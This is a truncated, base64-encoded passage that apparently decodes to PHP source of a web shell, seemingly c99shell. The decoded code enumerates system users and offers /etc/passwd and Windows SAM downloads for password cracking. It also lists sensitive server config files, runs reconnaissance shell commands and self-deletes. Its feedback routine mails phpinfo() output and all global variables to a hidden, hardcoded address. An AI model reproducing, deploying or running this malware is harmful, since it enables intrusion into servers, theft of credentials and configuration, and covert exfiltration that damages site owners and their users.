s8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPjxicj4iOw0KICAgICAgJGkgPSAkbml4cHdkX3M7DQogICAgICB3aGlsZSAoJGkgPCAkbml4cHdkX2UpIHsNCiAgICAgICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsNCiAgICAgICAgaWYgKCR1aWQpIHsNCiAgICAgICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiJcIj4iLiR1aWRbImRpciJdLiI8L2E+IjsNCiAgICAgICAgICBlY2hvIGpvaW4oIjoiLCR1aWQpLiI8YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICAkaSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9Ii4kdWQuIlwiPjxiPjx1PkdldCAvZXRjL3Bhc3N3ZDwvdT48L2I+PC9hPiI7fQ0KICB9DQogIGVsc2Ugew0KICAgICR2ID0gJF9TRVJWRVJbIldJTkRJUiJdLiJccmVwYWlyXHNhbSI7DQogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCR2KSkge2VjaG8gIjx0ZCBjb2xzcGFuPTI+PGRpdiBjbGFzcz1meGVycm1zZz5Zb3UgY2FuJ3QgY3JhY2sgV2luZG93cyBwYXNzd29yZHMoIi4kdi4iKTwvZGl2PjwvdGQ+PC90cj4iOyB9DQogICAgZWxzZSB7ZWNobyAiWW91IGNhbiBjcmFjayBXaW5kb3dzIHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvdGQ+PC90cj4iO30NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+IjsNCiAgZWNobyAiPHRyPjx0ZD5Db25maWcgRmlsZXM8L3RkPjx0ZD4iOw0KICBpZiAoISR3aW4pIHsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiVXNlciBEb21haW5zIiwiL2V0Yy91c2VyZG9tYWlucyIpLA0KICAgICAgICBhcnJheSgiQ3BhbmVsIENvbmZpZyIsIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL2V0Yy9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJTeXNsb2cgQ29uZmlnIiwiL2V0Yy9zeXNsb2cuY29uZiIpLA0KICAgICAgICBhcnJheSgiTWVzc2FnZSBvZiBUaGUgRGF5IiwiL2V0Yy9tb3RkIiksDQogICAgICAgIGFycmF5KCJIb3N0cyIsIi9ldGMvaG9zdHMiKQ0KICAgICk7DQogICAgJHNlcCA9ICIvIjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkd2luZGlyID0gJF9TRVJWRVJbIldJTkRJUiJdOw0KICAgICRldGNkaXIgPSAkd2luZGlyIC4gIlxzeXN0ZW0zMlxkcml2ZXJzXGV0Y1xcIjsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiSG9zdHMiLCRldGNkaXIuImhvc3RzIiksDQogICAgICAgIGFycmF5KCJMb2NhbCBOZXR3b3JrIE1hcCIsJGV0Y2Rpci4ibmV0d29ya3MiKSwNCiAgICAgICAgYXJyYXkoIkxNIEhvc3RzIiwkZXRjZGlyLiJsbWhvc3RzLnNhbSIpLA0KICAgICk7DQogICAgJHNlcCA9ICJcXCI7DQogIH0NCiAgZm9yZWFjaCAoJHYgYXMgJHNlY19hcnIpIHsNCiAgICAkc2VjX2YgPSBzdWJzdHIoc3RycmNocigkc2VjX2FyclsxXSwgJHNlcCksIDEpOw0KICAgICRzZWNfZCA9IHJ0cmltKCRzZWNfYXJyWzFdLCRzZWNfZik7DQogICAgJHNlY19mdWxsID0gJHNlY19kLiRzZWNfZjsNCiAgICAkc2VjX2QgPSBydHJpbSgkc2VjX2QsJHNlcCk7DQogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCRzZWNfZnVsbCkpIHsNCiAgICAgIGVjaG8gIiBbIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSRzZWNfZiZkPSIudXJsZW5jb2RlKCRzZWNfZCkuIiZmdD10eHRcIj48dT48Yj4iLiRzZWNfYXJyWzBdLiI8L2I+PC91PjwvYT4gXSAiOw0KICAgIH0NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+IjsNCg0KICBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHsNCiAgICBpZiAoIWVtcHR5KCR2YWx1ZSkpIHsNCiAgICAgIGVjaG8gIjx0cj48dGQ+Ii4kbmFtZS4iPC90ZD48dGQ+PHByZT4iLndvcmR3cmFwKCR2YWx1ZSwxMDApLiI8L3ByZT48L3RkPjwvdHI+IjsNCiAgICB9DQogIH0NCiAgaWYgKCEkd2luKSB7DQogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvdmVyc2lvbiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiS2VybmVsIFZlcnNpb24iLG15c2hlbGxleGVjKCJzeXNjdGwgLWEgfCBncmVwIHZlcnNpb24iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgTmFtZSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2lzc3VlLm5ldCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBOYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiQ1BVIEluZm8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiSEREIFNwYWNlIixteXNoZWxsZXhlYygiZGYgLWgiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTW91bnQgT3B0aW9ucyIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2ZzdGFiIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJseW54IGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBseW54IikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJsaW5rcyBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbGlua3MiKSk7DQogICAgZGlzcGxheXNlY2luZm8oImZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiR0VUIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBHRVQiKSk7DQogICAgZGlzcGxheXNlY2luZm8oInBlcmwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIHBlcmwiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIEFwYWNoZT8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIGFwYWNoZSIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgaHR0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBodHRwZC5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7DQogIH0NCiAgZWxzZSB7DQogICAgZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24iLG15c2hlbGxleGVjKCJ2ZXIiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkFjY291bnQgU2V0dGluZ3MiLG15c2hlbGxleGVjKCJuZXQgYWNjb3VudHMiKSk7DQogIH0NCiAgZWNobyAiPC90YWJsZT5cbiI7DQp9DQppZiAoJGFjdCA9PSAibWtmaWxlIikgew0KaWYgKCRta2ZpbGUgIT0gJGQpIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlYWR5IGV4aXN0cyEiO30NCiAgZWxzZWlmICghZm9wZW4oJG1rZmlsZSwidyIpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQhIjt9DQogIGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30NCn0NCmVsc2UgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQp9DQppZiAoJGFjdCA9PSAiZW5jb2RlciIpIHsNCmVjaG8gIjxzY3JpcHQgbGFuZ3VhZ2U9XCJqYXZhc2NyaXB0XCI+ZnVuY3Rpb24gc2V0X2VuY29kZXJfaW5wdXQodGV4dCkge2RvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0O308L3NjcmlwdD4iLg0KICAgICAiPGZvcm0gbmFtZT1cImVuY29kZXJcIiBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD4iLg0KICAgICAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWVuY29kZXI+Ii4NCiAgICAgIjxjZW50ZXI+PHRhYmxlIGNsYXNzPWNvbnRlbnRzPiIuDQogICAgICI8dHI+PHRkIGNvbHNwYW49NCBjbGFzcz1iYXJoZWFkZXI+LjogRW5jb2RlciA6LjwvdGQ+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj0yPklucHV0OjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTcwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZCByb3dzcGFuPTQ+SGFzaGVzOjwvdGQ+IjsNCmZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpIHsNCiAgZWNobyAiPHRkPiIuJHYuIjo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj48dHI+IjsNCn0NCmVjaG8gIjwvdHI+Ii4NCiAgICAgIjx0cj48dGQgcm93c3Bhbj0yPlVybDo8L3RkPiIuDQogICAgICI8dGQ+dXJsZW5jb2RlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD51cmxkZWNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+PC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkIHJvd3NwYW49Mj5CYXNlNjQ6PC90ZD4iLg0KICAgICAiPHRkPmJhc2U2NF9lbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD5iYXNlNjRfZGVjb2RlOjwvdGQ+PHRkPiI7DQppZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJGYWlsZWQhXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9DQplbHNlIHsNCiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7DQogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsNCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOw0KICAkcm93cyA9IGNvdW50KCRhKTsNCiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICBpZiAoJHJvd3MgPT0gMSkgeyBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iOyB9DQogIGVsc2UgeyAkcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+IjsgfQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPltTZW5kIHRvIGlucHV0XTwvYT4iOw0KfQ0KZWNobyAiPC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkPkJhc2UgY29udmVydGF0aW9uczo8L3RkPjx0ZD5kZWMyaGV4PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQokYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQpmb3IoJGk9MDskaTwkYzskaSsrKSB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KfQ0KZWNobyAiXCIgcmVhZG9ubHk+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJGFjdCA9PSAiZnNidWZmIikgew0KICAkYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07DQogICRhcnJfY3V0ID0gJHNlc3NfZGF0YVsiY3V0Il07DQogICRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksJGFycl9jdXQpOw0KICBpZiAoY291bnQoJGFycikgPT0gMCkge2VjaG8gIjxoMj48Y2VudGVyPkJ1ZmZlciBpcyBlbXB0eSE8L2NlbnRlcj48L2gyPiI7fQ0KICBlbHNlIHsNCiAgICAkZnhfaW5mb2hlYWQgPSAiRmlsZS1TeXN0ZW0gQnVmZmVyIjsNCiAgICAkbHNfYXJyID0gJGFycjsNCiAgICAkZGlzcF9mdWxscGF0aCA9IFRSVUU7DQogICAgJGFjdCA9ICJscyI7DQogIH0NCn0NCmlmICgkYWN0ID09ICJzZWxmcmVtb3ZlIikgew0KICBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpIHsNCiAgICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nICIuJHNoX25hbWUuIiEiOyBjOTlzaGV4aXQoKTsgfQ0KICAgIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2I+PC9jZW50ZXI+Ijt9DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCFlbXB0eSgkcm5kY29kZSkpIHtlY2hvICI8Yj5FcnJvcjogaW5jb3JyZWN0IGNvbmZpcm1hdGlvbiE8L2I+Ijt9DQogICAgJHJuZCA9IHJhbmQoMCw5KS5yYW5kKDAsOSkucmFuZCgwLDkpOw0KICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zZWxmcmVtb3ZlPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOw0KICB9DQp9DQppZiAoJGFjdCA9PSAidXBkYXRlIikgeyAvL1VwZGF0ZSBjOTlTaGVsbA0KICAkcmV0ID0gYzk5c2hfZ2V0dXBkYXRlKCEhJGNvbmZpcm11cGRhdGUpOw0KICBlY2hvICI8Yj4iLiRyZXQuIjwvYj4iOw0KICBpZiAoc3RyaXN0cigkcmV0LCJuZXcgdmVyc2lvbiIpKSB7DQogICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuJHN1cmwuImFjdD11cGRhdGUmY29uZmlybXVwZGF0ZT0xJztcIiB2YWx1ZT1cIlVwZGF0ZSBub3dcIj4iOw0KICB9DQp9DQppZiAoJGFjdCA9PSAiZmVlZGJhY2siKSB7DQogICRzdXBwbWFpbCA9IGJhc2U2NF9kZWNvZGUoIlptVmxiR052YlhwQVoyMWhhV3d1WTI5dCIpOw0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKXsNCiAgICAkdGlja2V0ID0gc3Vic3RyKG1kNShtaWNyb3RpbWUoKStyYW5kKDEsMTAwMCkpLDAsNik7DQogICAgJGJvZHkgPSAkc2hfbmFtZS4iIGZlZWRiYWNrICMiLiR0aWNrZXQuIlxuTmFtZTogIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX25hbWUpLiJcbkUtbWFpbDogIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2VtYWlsKS4iXG5NZXNzYWdlOlxuIi5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2JvZHkpLiJcblxuSVA6ICIuJFJFTU9URV9BRERSOw0KICAgIGlmICghZW1wdHkoJGZkYmtfcmVmKSkgew0KICAgICAgJHRtcCA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgIG9iX2NsZWFuKCk7DQogICAgICBwaHBpbmZvKCk7DQogICAgICAkcGhwaW5mbyA9IGJhc2U2NF9lbmNvZGUob2JfZ2V0X2NvbnRlbnRzKCkpOw0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGVjaG8gJHRtcDsNCiAgICAgICRib2R5IC49ICJcbiIuInBocGluZm8oKTogIi4kcGhwaW5mby4iXG4iLiJcJEdMT0JBTFM9Ii5iYXNlNjRfZW5jb2RlKHNlcmlhbGl6ZSgkR0xPQkFMUykpLiJcbiI7DQogICAgfQ0KICAgIG1haWwoJHN1cHBtYWlsLCRzaF9uYW1lLiIgZmVlZGJhY2sgIyIuJHRpY2tldCwkYm9keSwiRlJPTTogIi4kc3VwcG1haWwpOw0KICAgIGVjaG8gIjxjZW50ZXI+PGI+VGhhbmtzIGZvciB5b3VyIGZlZWRiYWNrISBZb3VyIHRpY2tldCBJRDogIi4kdGlja2V0LiIuPC9iPjwvY2VudGVyPiI7DQogIH0NCiAgZWxzZSB7DQogICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+Ii4NCiAgICAgICAgICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZmVlZGJhY2s+Ii4NCiAgICAgICAgICI8dGFibGUgY2xhc3M9Y29udGVudHM+PHRyPjx0ZCBjbGFzcz1iYXJoZWFkZXIgY29sc3Bhbj0yPiIuDQogICAgICAgICAiLjogRmVlZGJhY2sgb3IgcmVwb3J0IGJ1ZyAoIi5zdHJfcmVwbGFjZShhcnJheSgiQCIsIi4iKSxhcnJheSgiW2F0XSIsIltkb3RdIiksJHN1cHBtYWlsKS4iKSA6LjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+WW91ciBuYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX25hbWVcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXCI+PC90ZDwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPllvdXIgZS1tYWlsOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX2VtYWlsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPk1lc3NhZ2U6PC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9XCJmZGJrX2JvZHlcIiBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRmZGJrX2JvZHkpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImZkYmtfcmVmXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkSFRUUF9SRUZFUkVSKS4iXCI+PGJyPiIuDQogICAgICAgICAiPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmZGJrX3NlcnZpbmZcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiBBdHRhY2ggU2VydmVyIGluZm8gKFJlY29tbWVuZGVkIGZvciBidWctZml4KTxicj4iLg0KICAgICAgICAgIipMYW5ndWFnZTogRW5nbGlzaCwgSW5kb25lc2lhbi48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiU2VuZFwiPjwvZm9ybT48L3RkPjwvdHI+Ii4NCiAgICAgICAgICI8L3RhYmxlPiI7DQogIH0NCn0NCmlmICgkYWN0ID09ICJmeG1haWxlciIpIHsNCiAgaWYgKCFlbXB0eSgkc3VibWl0KSl7DQogICAgJGhlYWRlcnMgPSAnVG86ICcuJGRlc3RfZW1haWwuIlxyXG4iOw0KICAgICRoZWFkZXJzIC49ICdGcm9tOiAnLiRzZW5kZXJfbmFtZS4nICcuJHNlbmRlcl9lbWFpbC4iXHJcbiI7DQogICAgaWYgKG1haWwoJHN1cHBtYWlsLCRzZW5kZXJfc3Viaiwkc2VuZGVyX2JvZHksJGhlYWRlcikpIHsNCiAgICAgIGVjaG8gIjxjZW50ZXI+PGI+RW1haWwgc2VudCE8L2I+PC9jZW50ZXI+IjsNCiAgICB9DQogICAgZWxzZSB7IGVjaG8gIjxjZW50ZXI+PGI+Q291bGRuJ3Qgc2VuZCBlbWFpbCE8L2I+PC9jZW50ZXI+IjsgfQ0KICB9DQogIGVsc2Ugew0KICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPiIuDQogICAgICAgICAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWZ4bWFpbGVyPiIuDQogICAgICAgICAiPHRhYmxlIGNsYXNzPWNvbnRlbnRzPjx0cj48dGQgY2xhc3M9YmFyaGVhZGVyIGNvbHNwYW49Mj4iLg0KICAgICAgICAgIi46ICRzaF9uYW1lIE1haWxlciA6LjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+WW91ciBuYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZW5kZXJfbmFtZVwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZW5kZXJfbmFtZSkuIlwiPjwvdGQ8L3RyPiIuDQogICAgICAgICAiPHRyPjx0ZD5Zb3VyIGUtbWFpbDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic2VuZGVyX2VtYWlsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNlbmRlcl9lbWFpbCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+VG86PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRlc3RfZW1haWxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZGVzdF9lbWFpbCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+U3ViamVjdDo8L3RkPjx0ZD48aW5wdXQgc2l6ZT03MCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZW5kZXJfc3VialwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzZW5kZXJfc3ViaikuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICAgIjx0cj48dGQ+TWVzc2FnZTo8L3RkPjx0ZD48dGV4d